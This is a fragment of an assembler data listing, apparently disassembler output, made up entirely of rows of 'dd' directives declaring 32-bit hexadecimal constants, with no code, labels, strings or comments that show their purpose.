		dd 0C0C35725h, 4BA7C35Eh, 92BFE985h, 84D75CB2h,	61F20280h
		dd 1244B92Ch, 0A8C8BFAAh, 747B1F90h, 0A1305356h, 28642FDCh
		dd 0D5A06CC2h, 6CDDE7A0h, 5F5C03A9h, 9CBB24AEh,	3C068779h
		dd 0ECCC932Dh, 6808C2D6h, 0F86660DAh, 10895258h, 0C114C9B4h
		dd 0C30294E3h, 0CEB85682h, 2220C756h, 54C6398h,	9FED203Eh
		dd 0FFC9DF79h, 86DEACB0h, 8C48C597h, 0C219A04Ch, 572BC10Dh
		dd 11D40C77h, 0D58BDh, 3D3CE90Ch, 9FEE6Bh, 85451A90h, 5642B719h
		dd 0DE11897Fh, 0D7460552h, 0DDA5AA56h, 4C59FFFEh, 17D7F658h
		dd 2D8F5592h, 0E3728E9Fh, 317C2570h, 0F15B35ADh, 0BE0C0567h
		dd 4E23AFC8h, 0F6322310h, 47D6EACDh, 0BA80EE90h, 812BF7B4h
		dd 0BCD60Dh, 1C5AD009h,	67788C35h, 38091676h, 94A9829Dh
		dd 0ABDE5BF8h, 0B85F25DBh, 30E950C7h, 0D136B76Ah, 493541E1h
		dd 2AC41455h, 0BE6E25BAh, 0ED813D71h, 0EB32956Fh, 0CCC12605h
		dd 0D7F8F3AAh, 0CDC01FEDh, 34FE3D2Eh, 2DDF728h,	46B64D77h
		dd 72D61300h, 4A08683Eh, 0C18EBC33h, 5F5A57EFh,	298BB46Ah
		dd 0CC2F5B98h, 0BD0CFBDEh, 17E304BEh, 0F1F15FFEh, 8CE2DA5Eh
		dd 16A90040h, 401A2B27h, 2D6534D3h, 83F50EA5h, 0A1EAC73Ch
		dd 46E1DD4h, 17F21EF5h,	3925AAF8h, 3EDF548Bh, 26BE0999h
		dd 4BD68040h, 5ACB242h,	2B95E505h, 0FA96C7ECh, 0C24BD99Ah
		dd 460A942Eh, 0D7EF5D02h, 0BBC27783h, 0F55A4874h, 73669679h
		dd 47769F90h, 2572A302h, 1ABBC142h, 97EF5D81h, 3EB333A0h
		dd 40785686h, 0F0BF418Bh, 0CE0EB75Ch, 0C6F205D2h, 8FF2EAA1h
		dd 0F4C4E194h, 0C2EC137Ah, 0E0C8BFA5h, 5D9D40A6h, 0EBF5810Eh
		dd 71CCA93Fh, 107E24C7h, 0FB92E3Bh, 0C57AFB0Fh,	6593FEA1h
		dd 0CBD7B9EAh, 0C4AECC2Eh, 7BA91D14h, 209E01E7h, 0D0E949BAh
		dd 0CE16AF32h, 0F50BEC59h, 83291D1Ah, 87C2BCAEh, 7DBB5905h
		dd 0B4A96F03h, 0C757EF90h, 0DE43E90Dh, 54EA305Ah, 1E9F6304h
		dd 3004C189h, 0C1EA168Eh, 0C02CF5FAh, 0F8FA59EFh, 0D9E95B0Ch
		dd 0A1E1F5F4h, 3D74E38Fh, 0EBCCF1C3h, 4E1590A4h, 0EFD549FCh
		dd 0E20A0CF8h, 8755F150h, 0E82A6302h, 23C3F73Fh, 3486BDD0h
		dd 0ECC8897Bh, 69EA40B8h, 6C5BC637h, 11005BFFh,	89ED0C4Bh
		dd 19AB0C60h, 76BF06E7h, 0A89C379h, 9CB69011h, 3E668C4Fh
		dd 6732DD4Ah, 40E55D56h, 0E1E3E989h, 0AC8B53C4h, 0EAD0673Dh
		dd 549BCF27h, 619874A5h, 9333E225h, 4C68D0EAh, 609D9418h
		dd 54D977E2h
		dd 6805FB94h, 9EA825CDh, 0E8DCFDC4h, 0EB818080h, 6DCE5B42h
		dd 178124Eh, 3C76E908h,	0CAE84AD0h, 89B2D13Ch, 2461296Fh
		dd 8C0B2FDDh, 638A1E05h, 0CF01197Fh, 2EF8B0B9h,	0D15B0949h
		dd 58FFA012h, 0B300D269h, 6EBC0C1h, 8625DBF6h, 0E94710F3h
		dd 5085F94Fh, 0F3286B68h, 148F105Fh, 5FD95D27h,	0C4F609C4h
		dd 1DBEC05Fh, 85F8254h,	0F94F25F8h, 0C2682746h,	8ED9D773h
		dd 9FD09658h, 2725C1ECh, 0E9F87CE1h, 0F0EFBFBh,	99BA13A0h
		dd 2CF0F142h, 515A12D9h, 5E594B83h, 0B4FB12F6h,	541F6BBDh
		dd 97491379h, 0DEC57B5h, 75EDFB25h, 9EC0F612h, 0F4343A5Eh
		dd 50C4E21Ch, 0B1F80817h, 3A18E9F1h, 55B96EC4h,	95FA2D9Fh
		dd 55868E80h, 0C316ED24h, 85350B24h, 71F93AAh, 0AE5385D5h
		dd 4557EA42h, 0F4427D2Ah, 14128104h, 0C0E12FF9h, 0C3FDFAD4h
		dd 4A3E682Eh, 4BACF12h,	0AFA581B8h, 7886C6B3h, 5F4B42A8h
		dd 6812ADB7h, 3FD7A133h, 82B43EA2h, 0D10998C6h,	2BCF6253h
		dd 0CF724AB2h, 7E56E025h, 0EE6E986h, 3296D4FEh,	0E9A37652h
		dd 0F7622359h, 9DD455F1h, 76FA2C79h, 54C88068h,	0D70565ABh
		dd 2DD96D1Dh, 1A2FB040h, 1FE13568h, 0C22A9E72h,	2EFF7F56h
		dd 0BF3C68FFh, 0CF3D16B0h, 36F40B0Dh, 0F99D564Eh, 5659C061h
		dd 8F0B6852h, 8047BF1Ah, 1B87F2D2h, 893A19BCh, 2FA19ED6h
		dd 94A36B3h, 0F8009016h, 5BDC202Dh, 354B54B0h, 8BFA6685h
		dd 83257FB6h, 5C72490h,	395721BBh, 0A4010417h, 3C924AA4h
		dd 0BE020873h, 0FDC3A073h, 78F7A1EAh, 4960903Ah, 0F60034D7h
		dd 2EF780DFh, 5B2FFA28h, 4A2A7030h, 560A0CCh, 0B4739CBFh
		dd 0AAE90E17h, 0EAC0E058h, 0F271E8B7h, 0BA84FA47h, 45593B0Ch
		dd 800F24B4h, 642D2127h, 0E3810601h, 7E4B0857h,	7F02F3D8h
		dd 0A02EF37Dh, 0EC20E957h, 5D2D07CCh, 0BA07C94Dh, 54B92081h
		dd 4E0A8D45h, 108EA3BDh, 0EA40D7FAh, 560F1C1Bh,	18F86621h
		dd 202A704Bh, 0B6EAB20h, 36467AB8h, 0F8825554h,	60872AC7h
		dd 587F4914h, 0F6103C06h, 3594862h, 762A08EFh, 0E0E7B320h
		dd 7C592F7Fh, 99682FD1h, 94E698D5h, 109A285Eh, 9263B067h
		dd 5AD00166h, 182A4905h, 0E68C6076h, 6878791Fh,	7EE9DEA4h
		dd 510F20E2h, 0FBE91A2Dh, 9029A3FCh, 55C2F1BCh,	0FFA76153h
		dd 0C305B694h, 34EA0A3Ah, 5CAD7F80h, 944D4F29h,	0E90805CEh
		dd 5E55D013h, 0C1F05D56h, 427EC4Ah, 71BDC082h, 16772767h
		dd 0E95617C3h, 49EBEC59h, 17B7B638h, 88F632E9h,	0B239B1A5h
		dd 0FCEC3952h, 0FC17C897h, 56E883E6h, 57120868h, 28B422CBh
		dd 0F473417Ch, 2E06D53h, 42B5BBA3h, 0F1A82B41h,	5AD67AC0h
		dd 1EF58928h, 6497CB7Dh, 8BB59EE5h, 16D2C85Dh, 59D48D2Fh
		dd 0E2556762h, 0D567AC88h, 6D6DF14h, 2E2C109h, 747A0912h
		dd 0F8057F05h, 0FA39EF07h, 0C4BBBD3Eh, 98AB88EAh, 0A0BD0F63h
		dd 12E8EB88h, 777E7B18h, 607F82E4h, 0E928A2A9h,	3D9E0D30h
		dd 0BB0C530Eh, 0C3141AE9h, 99AE673Bh, 0F27B5FA5h, 0F32E6EF9h
		dd 10307FBCh, 9EAA58Ah,	68512541h, 0C20EA4FAh, 921E5FE5h
		dd 8A6028B8h, 3F570D07h, 3BD2DCB0h, 78BBB056h, 6F54E9C7h
		dd 2C2459DDh, 9B13B9DFh, 75C44EA8h, 1AD0B14h, 804E9CA7h
		dd 3708CA41h, 0C500BC4Bh, 0A7563E6h, 749FF501h,	85EA798h
		dd 859C5725h, 0DCADBE87h, 0BE96193h, 407B23B6h,	580D898h
		dd 4D401206h, 0F28D0B76h, 544C38D7h, 6A169F5Ah,	6B4E8186h
		dd 86B90885h, 514BEAC2h, 67E4057h, 0B6E9134Fh, 0EECC7533h
		dd 0A63CEA44h, 9D845F09h, 578C1DB7h, 4F421254h,	0A965E849h
		dd 60B50060h, 54C18DC7h, 7B4D6D1Ah, 6DBB5A4Ah, 82DD6BCBh
		dd 0D61DBD7Eh, 0A65B91BBh, 28348FE7h, 8658EBF0h, 0FE275A53h
		dd 2CADC7C2h, 0A1EB7F22h, 0EFA38D28h, 0EDA33FA5h, 1C0D508Eh
		dd 6E206126h, 4BB5CE01h, 0BA7105A5h, 0C279073Ah, 0E935916Bh
		dd 0E5D02ED1h, 269F66F2h, 260ACC97h, 0ACBE13B4h, 0BAA3C59Ch
		dd 854288BAh, 2526FC22h, 3E980CC7h, 0F63E51F1h,	0BF2B479h
		dd 0D9096706h, 15C33D6Fh, 1C7F9C16h, 0DC384437h, 40F5E803h
		dd 4B8123D1h, 0C538E3E5h, 0FAB9A505h, 304BACAh,	5B0BFDB8h
		dd 4AD5FECAh, 45D1D502h, 7367D7CBh, 6691E904h, 3813EFA4h
		dd 84D91A6Eh, 16D3CB03h, 0C05658Ch, 1BAD3F38h, 67229E80h
		dd 9A30609Ch, 0CF73D8E2h, 73DD892Eh, 5AB38125h,	47E1F386h
		dd 745B047Ch, 0AA871243h, 9F53C5C8h, 68950E5h, 9B4851D5h
		dd 0E7EA03FFh, 5800E8D4h, 8004EBC0h, 66F42EE3h,	2EB80CA1h
		dd 8F19F6F5h, 0F1423220h, 0BFB0C87Fh, 27017509h, 2CBFB0Ch
		dd 1A7D181Dh, 9129840Bh, 5946BB01h, 2F03FE6h, 0BF06164Bh
		dd 5A31BC1Eh, 0E74EFAB1h, 2ED18F40h, 91F7F73h, 1430E485h
		dd 7A26125Eh, 0FA204706h, 22AEDA4Ah, 0E24A6888h, 0A1D1FBD7h
		dd 2CF108DCh, 40DAB801h, 46E94B17h, 500FAA2Ch, 0E10977B0h
		dd 0CF778E62h, 274226BBh, 51135908h, 0D7617B02h, 68016233h
		dd 0BED43E39h, 0B259DCFAh, 1DBBE24Eh, 0DAF6476Bh, 6F4C5668h
		dd 7485C54Ah, 7F35CBFAh, 57C57430h, 624D68E7h, 4AB31909h
		dd 53505801h, 251E7AF4h, 0BC4665A9h, 648A60F9h,	0C6462EB7h
		dd 12BFBC25h, 0FED5F7EFh, 4B982F98h, 5CBFCEE8h,	0DDBFA073h
		dd 0D5C2F3Dh, 0D076B67Ah, 0E18820C9h, 0D93C89FDh, 817F44Ch
		dd 0F1638755h, 106A627Bh, 25E4A6BDh, 91F6015Fh,	0CF01AA26h
		dd 291DD633h, 0A2B951D8h, 5A8CD808h, 0D1ACC375h, 54D83A4h
		dd 0CBBFD1h, 941E3C68h,	0A05DA781h, 0C51415ACh,	203D9064h
		dd 5EBF31A1h, 3EBC0318h, 7A0651F4h, 70A0570Fh, 1199090Ch
		dd 0F67C53h, 0CD008A0h,	0E5444F14h, 6BE4CE86h, 0D06B126Ah
		dd 0F7F5B019h, 0A768D609h, 25B9E60Eh, 3167E36Ch, 2D9AF0A7h
		dd 0E37E961Ah, 93E606EBh, 4E46BF68h, 7A08A891h,	92541D7Bh
		dd 66614563h, 0C76CC047h, 0E8B80827h, 0B249214Eh, 67328B72h
		dd 455FA56Dh, 0B14C1763h, 0A8975C4Eh, 0DEAB15E3h, 42A49DEh
		dd 44E82755h, 77680301h, 2E043608h, 0B3209F57h,	0BCF3C601h
		dd 0F009D622h, 1D22A78h, 15421FCEh, 28102076h, 7A436503h
		dd 0BBE9CB31h, 0EE524016h, 0F13E2D64h, 0ACFD29C0h, 74AF44B6h
		dd 66B40CDDh, 2805C908h, 0D013E9C5h, 7956A2EEh,	47EABD5Eh
		dd 0B5C31753h, 353BACF7h, 8D8465C5h, 627DF3EFh,	0E4ADF24Ah
		dd 0C3060916h, 0A3758288h, 76D263E4h, 616481Dh,	23AF7C3Dh
		dd 8D685A40h, 0B73DBB7h, 0F65B839Bh, 89BA2916h,	11442EC5h
		dd 0E2EBA038h, 0AFBCDFC8h, 0ED814863h, 0A657127Bh, 3308088Fh
		dd 4AC33109h, 278DC4A3h, 4D20E45Dh, 227A026Ch, 0A6DE093Eh
		dd 68854373h, 0CCD3F5Ch, 28D0BCADh, 6D558CA4h, 70A93AA9h
		dd 98A0628h, 54D847E3h,	0B67F6548h, 58EF29C9h, 8073EB1h
		dd 4A82F8ADh, 986871E9h, 6E1DE580h, 0F554C5FEh,	59E812DDh
		dd 0E9D361BBh, 5BB57B6Bh, 8D86279h, 815D79E9h, 0F8B640A5h
		dd 5B6B7EB8h, 5AE17ECBh, 0FD909843h, 2CCCD7F7h,	0B04D5EB4h
		dd 277DB677h, 0DD2A6C52h, 7BEBD282h, 0FCA4AAB8h, 48D948F5h
		dd 0D97492F2h, 0F79DF80Bh, 82DB5191h, 0ECC0F606h, 8D69DF06h
		dd 31DF82BAh, 73215FFDh, 0C75A258Fh, 8E17355Bh,	6D3A99E1h
		dd 88C40893h, 6BE17770h, 2EF08C99h, 4F69B619h, 4CA24B05h
		dd 13D2C6C7h, 7D2FE79Eh, 295D30B0h, 35C5EE58h, 4882B3A9h
		dd 3EBE00AEh, 2FFD8E07h
		dd 0AE2AB1E1h, 10D7E354h, 3262DD3Fh, 625AB38Fh,	4CE75A0Eh
		dd 0F92FDF97h, 0C3DD0916h, 1A7765D5h, 6A5F0ACFh, 0CF1AFD6Ah
		dd 6F9E8C61h, 17202589h, 0DEEF1FECh, 465F8B67h,	886330DCh
		dd 96013FAh, 2CB821CEh,	0FA347A8Ch, 74C9ACBh, 821AA201h
		dd 2D05E937h, 0FEEE2D20h, 2B92BD0Ch, 9F25F3E4h,	17805A8Eh
		dd 15AA8EFFh, 5E918ABFh, 0EDB657ACh, 50FE515Ah,	23A13145h
		dd 0C18000BAh, 0BFCCBFAFh, 90D3B427h, 2556EBF0h, 1E603871h
		dd 0C6BD4558h, 301D5EACh, 18BA52BEh, 464B3B15h,	0E9F24EAFh
		dd 148B0769h, 0CD3070E1h, 2D9A2472h, 830B9C09h,	0BF0E21Bh
		dd 942C5007h, 807DC9EFh, 5A605250h, 0E9F73781h,	0E683420Dh
		dd 84D713F7h, 85270105h, 0B3DC4C55h, 8656AFE0h,	56FC26F2h
		dd 0F12AF4A5h, 2F222848h, 9F67C5Eh, 9105359h, 688083EEh
		dd 7B51976Eh, 1592559Fh, 0E3D706F2h, 0E950C17Ah, 462ABCEAh
		dd 3F2766D7h, 291421F8h, 5B367D9h, 41DF3BBBh, 7A8AD0AEh
		dd 14171ECFh, 94FAD129h, 9DA8AEC3h, 69810867h, 6FB6C383h
		dd 52F5F3B0h, 15121924h, 0F3C44D12h, 0A86DA8ABh, 432C285Ch
		dd 3D3227AEh, 0B8259E6Bh, 34D09A0h, 259430DBh, 9CD06682h
		dd 3CB83CE9h, 0DF14E75Ch, 2DF35BD7h, 0D4E83E0Ch, 0C25483E4h
		dd 24687E09h, 0D897D9F7h, 9BB80527h, 9231CDF4h,	0D9FD4FA7h
		dd 6B7CADAEh, 0D89E5DA7h, 1983A4A0h, 0E9127B06h, 41736B3h
		dd 0F64922EDh, 332E8021h, 7413AC63h, 51A020E9h,	0C66039B9h
		dd 0BFA409CAh, 0F4A1D764h, 558AF00Dh, 7309B29Ch, 8B805533h
		dd 282C13A4h, 211DE913h, 0F8937DBCh, 40EAD7FBh,	0B2E0F6F0h
		dd 5197F455h, 6FCE6273h, 3CEE5E05h, 0E3A353DEh,	0BE2061FAh
		dd 4BDC35D3h, 3AAAA122h, 0E9B06AECh, 19A2BF19h,	55EB4A57h
		dd 410C0341h, 32768BC3h, 85E7744h, 0A32956D2h, 94CB68E0h
		dd 184198FEh, 0D6F7F8E3h, 0E60481EEh, 0E1E97B8Fh, 0BE0985AFh
		dd 7591DD72h, 4DF57509h, 68E8309Bh, 8BAC4EB1h, 0F4ED5D25h
		dd 0CCE87B0Ch, 5528BE32h, 0D4B0BA01h, 0A78AC0Bh, 24D9547Ch
		dd 852A1718h, 0FD8BBA8Dh, 3AD35F25h, 547E243Fh,	12057708h
		dd 0F7D3E85Ah, 0D5FFEAC4h, 0A16C0C14h, 0A70BEB17h, 0DA7C4154h
		dd 135DF25Bh, 0AA039A74h, 5858F98Ch, 0F84CDC09h, 35CEE425h
		dd 1FA45C4Bh, 2CDE41D6h, 0D028B020h, 748A482Ch,	9D59DB44h
		dd 0F2DCA68h, 364DF3Bh,	0DB029F2h, 0A4C2025Ah, 47522370h
		dd 55BBFC60h, 127AF048h, 0C9AFE5B2h, 7353E4D4h,	99A0EE9Dh
		dd 0E1C0162Dh, 0F7E87E01h, 6CBA9BA1h, 0AD279218h, 36C960C4h
		dd 8B68212Ah, 5D0502F1h, 69620D6Ah, 9900978h, 17A6C906h
		dd 40E26F7h, 5A0A07C1h,	5695C061h, 8C16A9EFh, 5EB55F51h
		dd 7F5C86Ah, 5A5E7940h,	0CC3DFB2Dh, 0C464E82Fh,	0C6A63F48h
		dd 8E0C5D7Ah, 13B45C68h, 6910CCB4h, 0CC33DD60h,	9F7AD12Bh
		dd 7B0107F6h, 94E9530h,	5AD72E12h, 0E63FABCh, 6C023538h
		dd 6055044Bh, 7CAE7C66h, 20A8AE58h, 5D76B6B5h, 7F914FFCh
		dd 0BB61B405h, 0D86001FBh, 0F0347560h, 0FE0127F5h, 0A42D22A1h
		dd 4F70A507h, 387E637Ch, 0CBBABBB5h, 5A541AEAh,	1F3C472h
		dd 7413220h, 84D5F75Dh,	9A4A7066h, 7D5809C2h, 8BBC3679h
		dd 0C565949h, 0BF292A7h, 16B647C4h, 7E1D3ED4h, 86B961D6h
		dd 0DDCAEFD3h, 0AF01744Ch, 916F6E6h, 941F30D5h,	0C1F2A295h
		dd 63EC7758h, 61735723h, 7DE036E9h, 25EBD0C6h, 13185DCFh
		dd 0FB9F456Dh, 6F5C148Ah, 0AA130B06h, 0DC3BD80Ch, 23CA010h
		dd 0E5D284FDh, 6F5ED029h, 18B45164h, 0FC2BE5FCh, 835F8938h
		dd 0A569579Fh, 1AEE1594h, 8B6A24F3h, 32298277h,	0A22BC3ABh
		dd 7886F63Fh, 0AD33BA1h, 0BAB567F4h, 0C1DB05Eh,	66852DF6h
		dd 0F132F4A6h, 80D7CED1h, 38FBEFB6h, 2FC09067h,	0EE1BD6A5h
		dd 0FD099083h, 0F4245F29h, 0B953C4F3h, 0B64A970Fh, 0AAC9E4Fh
		dd 1684B817h, 1019CFBFh, 5D288B0Ah, 55E10AC9h, 5AD1157h
		dd 0FF41937Bh, 0A7537DC4h, 0B9BF3CFBh, 91724709h, 96E744Ch
		dd 5C5C9B32h, 4BEA5D69h, 0BA175975h, 0E17C99B5h, 888E008Ah
		dd 7B480C63h, 3D5C05D9h, 0D0B842F7h, 0F5670CD2h, 80165A34h
		dd 79F0C7C9h, 0F128204Ch, 0F970EBF6h, 0B151CB1Eh, 0B292F619h
		dd 929A37BAh, 51FD0A8Ah, 16FDCB29h, 2DF49836h, 0B49BA280h
		dd 48825484h, 0DD2B2A70h, 798CDF0h, 196A140Bh, 55165F08h
		dd 5D167595h, 91FFA6C8h, 0DB24B3Fh, 0E8AD03C5h,	48CEC1F7h
		dd 62666C2h, 5CD9592Dh,	0CC8318Ah, 0F714772Dh, 0A28B6520h
		dd 2D266177h, 192FA33Eh, 34294D2Ah, 0C1CD042Ah,	6401EAEAh
		dd 457C6440h, 0BD11812Eh, 9EFB0484h, 50C24F82h,	9BD3FFB9h
		dd 4059C42Dh, 0D25EF72Ah, 123E0FE0h, 0E1D06E1Ah, 6FC9405Ah
		dd 709E37Fh, 590559E9h,	0C3948817h, 9CFD090Bh, 0A8F50053h
		dd 0E972291Dh, 0AF929F46h, 0B25B7097h, 20BF9896h, 2C3FECE8h
		dd 6F72F09h, 7C49C5h, 4D4F169Fh, 28F2C381h, 31F00E12h
		dd 0EB2B70AAh, 48483797h, 6D18170Eh, 0C4D2B9F9h, 0D8E7AE33h
		dd 0BCB1DCC4h, 0CFB196DDh, 22E4A340h, 67F89F5Bh, 0A4DD2004h
		dd 0D1EE2DF1h, 68A9E918h, 8C5C337Ch, 6CB481F2h,	0E11B482h
		dd 28DD74C4h, 680B0837h, 0D8E76818h, 0AD0984FBh, 0DDE0D5BAh
		dd 0EE57E589h, 13D7B11Dh, 0D722FE66h, 0A8D155DFh, 0FB685203h
		dd 0FC5D1871h, 36BE0A3Eh, 2222712h, 0E150B009h,	0D73A5B2Ah
		dd 0D54FF768h, 142DC28Eh, 93E691A0h, 692FE504h,	1A9FB4Eh
		dd 0A3D6A0EEh, 2DA9A8DBh, 8693E597h, 0A3C95E9h,	6BCD80B5h
		dd 0BF18631Bh, 0C44B9961h, 84BEBC1h, 16A2D1A0h,	0AC66B729h
		dd 0B8501E54h, 3FF72A01h, 0D420C731h, 0F113BDA2h, 75D984C1h
		dd 37BA2B4Fh, 862DD29Bh, 9886C45Dh, 19F1000Ah, 0BF5762F0h
		dd 610B254Dh, 7FE94F79h, 70B24561h, 429F6C0Eh, 7286D450h
		dd 5E2CC120h, 4B7E828h,	0E3816619h, 0E62E560Eh,	0EE88D75Bh
		dd 5D446CE9h, 2C385944h, 0A0D82692h, 0B30B6713h, 0BA8257E7h
		dd 0F140B753h, 7E955BF9h, 0CFCB0823h, 0FBA5E19h, 68F90500h
		dd 8424B43Ah, 4DE12614h, 0DF3CB782h, 0BDD75398h, 4DA96880h
		dd 0E184717Bh, 701A933h, 0ACC7451h, 48EFF4B3h, 0D25B3630h
		dd 0B0525A1Ah, 80F3450Bh, 0BFC0576Eh, 1E4BE9F0h, 0BAFDBBC4h
		dd 88F500F4h, 15BB671h,	418BCB48h, 0E9462F08h, 0B41C6F7h
		dd 0CB035CEFh, 0DD0CEA55h, 31692959h, 7F689DB1h, 1A8EAA4Ah
		dd 5DBA205Fh, 8699FA01h, 4FD3DA0Dh, 0A7D80FD9h,	0DAFCBFD0h
		dd 15A0841h, 0BD55E450h, 506C16EDh, 4794AF56h, 0B2B8BFD4h
		dd 0C410D6C8h, 0E7FAEF40h, 9A6102E5h, 0FE1CE902h, 2C1A2B69h
		dd 2C1D176Fh, 914063DCh, 0DEDCF709h, 460ED890h,	0E3CFCA2Fh
		dd 98BE59EBh, 14D8FB24h, 0EF5F4010h, 5224773Ah,	96420C7Bh
		dd 0AF0BEA61h, 0DE086E15h, 8A08A052h, 6C7BDDC6h, 2C0AEF28h
		dd 0BB8FD516h, 0E37690Bh, 0C38245C8h, 25C263BAh, 95AAE84Bh
		dd 9957AF60h, 0E98309F9h, 2914337Bh, 0AD57F9h, 5AF40208h
		dd 2F1851BFh, 0B0D7FA4Fh, 9F781DFh, 347741BBh, 7A5F6982h
		dd 2FF6F472h, 4A406930h, 4CA775FEh, 0CB050223h,	0A4744A24h
		dd 6316DD29h, 0AE1271A0h, 0D08D102h, 8F87E042h,	0F7B73DEAh
		dd 2E163141h, 3BE9B890h, 12C4B7DDh, 27674658h, 0CB18DFA5h
		dd 0F19D1190h, 52AA6CEBh, 5E13A0B4h, 0A9A528BDh, 361A842Ch
		dd 2F7C5909h, 0C4635A82h
		dd 70090B1Bh, 0CEF56189h, 0BC85EA63h, 59D6EB1Dh, 0AE078358h
		dd 5F8F4342h, 0E69539BFh, 22480B5Dh, 0E106E054h, 59983D4Ch
		dd 0F7018193h, 1C71C0A0h, 0FF659E2Fh, 0FA31A584h, 0DC009EA5h
		dd 4B9AC2A4h, 3094814Bh, 6F520793h, 0CF18F585h,	189566FBh
		dd 5C5B03ACh, 0BE5ABD7Bh, 0BFE9F202h, 0C48F6843h, 6CF11407h
		dd 0E313BF5Fh, 8857D079h, 0F94BADD2h, 0C87AB5C1h, 2505753Dh
		dd 0FB191D9Fh, 2705F413h, 0E1FB3F6Ch, 0C007050Dh, 0F2790BA3h
		dd 0C2010217h, 9F056704h, 0D8CD811Fh, 86393E2Bh, 0E1427C54h
		dd 0C9C0BD44h, 201437F5h, 1FE96212h, 0CEBD1B03h, 5BE9EBE0h
		dd 24C6B427h, 0C7285Ch,	6A113805h, 0FEEE3503h, 91F1240h
		dd 0C4A7F2C7h, 0B8002E38h, 9E35E76h, 20270E97h,	12B44B0h
		dd 27E9F231h, 75F4D972h, 95719554h, 0CC0B54C9h,	0D3900CE2h
		dd 748EC0B7h, 1907272Ch, 80416F74h, 0A120C47Eh,	0ACBB4ACAh
		dd 3E0C622h, 0FCF29710h, 5820EE98h, 0C3283B70h,	0E5263FDh
		dd 8195DE88h, 0AEB8C837h, 5464B789h, 17D7C2FFh,	0E1142255h
		dd 0FA4B04E2h, 0A86F6BF5h, 52F94FF6h, 0B7D62E7Dh, 121A406Dh
		dd 0CF906D0Ah, 0E1F1D1Ch, 41265AEFh, 5BE13ED9h,	39BEBA45h
		dd 0B25481ABh, 48EA8015h, 4EE9D5C0h, 0FF1D84CFh, 0AFD528B3h
		dd 0A916EB97h, 0E90A8CBBh, 3112115Bh, 0B55BEF8Ah, 0C02D6B55h
		dd 7FCC887Eh, 5D489C92h, 894F7C85h, 0A5C41E91h,	1B53227Ah
		dd 51AE8BD7h, 0BB26624Bh, 52CBA3DFh, 5C0C27D1h,	99DD2257h
		dd 24AF7983h, 29D41707h, 0CB7DEC8Dh, 8BBF26C1h,	0B217A09h
		dd 2FC15CD6h, 2892086Bh, 0D702DD09h, 3100BF21h,	0D39768C8h
		dd 0ED4C081Dh, 0E2C28006h, 861C3A06h, 30D4F68Fh, 0BC5CE924h
		dd 0E1A34FDDh, 0AA75C492h, 7AAD81BCh, 58B21856h, 7009E9C9h
		dd 0B5A91C75h, 0F5C81BDEh, 48FDF127h, 0AFDCA5F3h, 3C7B417Ah
		dd 0A40FFB05h, 2C85A56Bh, 0F7D480BEh, 330905D8h, 82757BBEh
		dd 3993CCBh, 7C05F301h,	542306A6h, 92866BFCh, 51058F66h
		dd 0B625A168h, 0C10782FCh, 44E2ED11h, 0FDA6C289h, 2D5FE870h
		dd 99429FA5h, 0C78001F8h, 0CE1A20ACh, 0D00580h,	2D313A23h
		dd 69C259B6h, 79E2968h,	3111513Eh, 0B3D520F6h, 0EA2EC8B5h
		dd 4AB707D5h, 0E2D089ADh, 55D182F0h, 0D918B4BCh, 934FAD2h
		dd 9708B7F4h, 0F8F2077h, 0DF85691h, 24A1F269h, 0C22AF968h
		dd 4A357377h, 0A7E9580Fh, 5CB77570h, 6748E043h,	811C26C1h
		dd 0E84B46F3h, 362A001Eh, 130A1C1Dh, 33D396E9h,	983B5508h
		dd 782B13CCh, 3BEC8801h, 65707005h, 0B8677089h,	0C2BFB026h
		dd 59C80936h, 59E0AAC2h, 0C2E16ECAh, 0BD1D3CF7h, 0E950B2DEh
		dd 27A19E06h, 0F339AD56h, 16A5DE40h, 9A7E6ACh, 0DEF1AE37h
		dd 0D7C770AFh, 0AC2BE415h, 48ED8149h, 622D0383h, 0A8475D7Eh
		dd 0E4F4499Fh, 4A140B05h, 0C2225167h, 6E79657Eh, 86685502h
		dd 49DE5E3Dh, 1BBD407Fh, 1EF9BF10h, 4C37EA01h, 12820ADBh
		dd 36E94203h, 451D9A7Ch, 0DF147889h, 0E1980C94h, 49C5944Fh
		dd 2AAAEA53h, 4A14426Fh, 4742D021h, 2FFA2D3Ah, 80E8A212h
		dd 0A8E0CA3h, 5687FD95h, 9345A4DBh, 10B25BAEh, 5B559CA9h
		dd 0F6D30963h, 28F6E2Fh, 0EA80FC05h, 9E934437h,	0D78B24A7h
		dd 0F48727B1h, 39C7A87h, 4BA36E8Eh, 4613A405h, 0A682279Dh
		dd 50660021h, 801F0FB4h, 80CA3C4h, 5BB15EAFh, 9FAEC07h
		dd 6D92836h, 91A980Fh, 1937CE35h, 51D81000h, 780268B9h
		dd 2BE9DE1Dh, 0D74EA9C0h, 79FABC33h, 0BA2F0DDEh, 89436530h
		dd 25F865E9h, 6FC5BD1Ch, 0A229484Bh, 93AB179h, 252E445Dh
		dd 9E4E1727h, 78805695h, 92AB43E9h, 7858C6C1h, 94ACA71Ch
		dd 0A2AEF837h, 242D81CCh, 0A16101B0h, 0BC77D8DCh, 16DF4809h
		dd 6845C07Ch, 4AB62521h, 0B7755060h, 3B4CBF3Bh,	0D652C701h
		dd 6E5C178h, 9B38F531h,	5B29C580h, 599A7107h, 52809AE0h
		dd 0BD96BD54h, 0B51AFA2Eh, 0F7BA5965h, 2E9828Dh, 72587C59h
		dd 78DEF657h, 0EBB5BCC7h, 0CE459057h, 0D5F72D2Ch, 6802551h
		dd 0E97F9EAEh, 68294050h, 721E342Ch, 296746Bh, 55605C13h
		dd 0FF52D7h, 7E4C56B7h,	2C0A88BBh, 5B312B25h, 0FB290B3Fh
		dd 0A0CFC4D7h, 9ED47A29h, 544AD20h, 4AC42420h, 0FF99BA5Dh
		dd 1D828FF9h, 43B151ACh, 0CC09978h, 0D8B7533Eh,	9DCF2580h
		dd 0F71EFDFCh, 0E9AD81A7h, 0D050FADBh, 0A7737EDh, 0D5012328h
		dd 130820DEh, 0BD871FE9h, 0F8053BAEh, 5E153117h, 0A139ABBh
		dd 2EC7BAE9h, 0CD348E3Fh, 65C2DC02h, 0F57B436Bh, 8B258CFAh
		dd 0E9C5731Ch, 235EB057h, 2B89818Fh, 56C65682h,	0FCBB014Bh
		dd 6A28A82Eh, 90AF46C5h, 66259DFh, 0E8582171h, 0A9837BE0h
		dd 0EC347EC0h, 95A25D7h, 4EE14A57h, 976F2E74h, 0A81DC5D0h
		dd 0B1B80756h, 777B26E7h, 88F17F6Ch, 1AB369Bh, 7116702Dh
		dd 6A107E59h, 665A2D07h, 61B59ACEh, 47E9094Eh, 0BEFB54C3h
		dd 165017CAh, 587B40CBh, 0D788B09Bh, 32A927E6h,	593BA477h
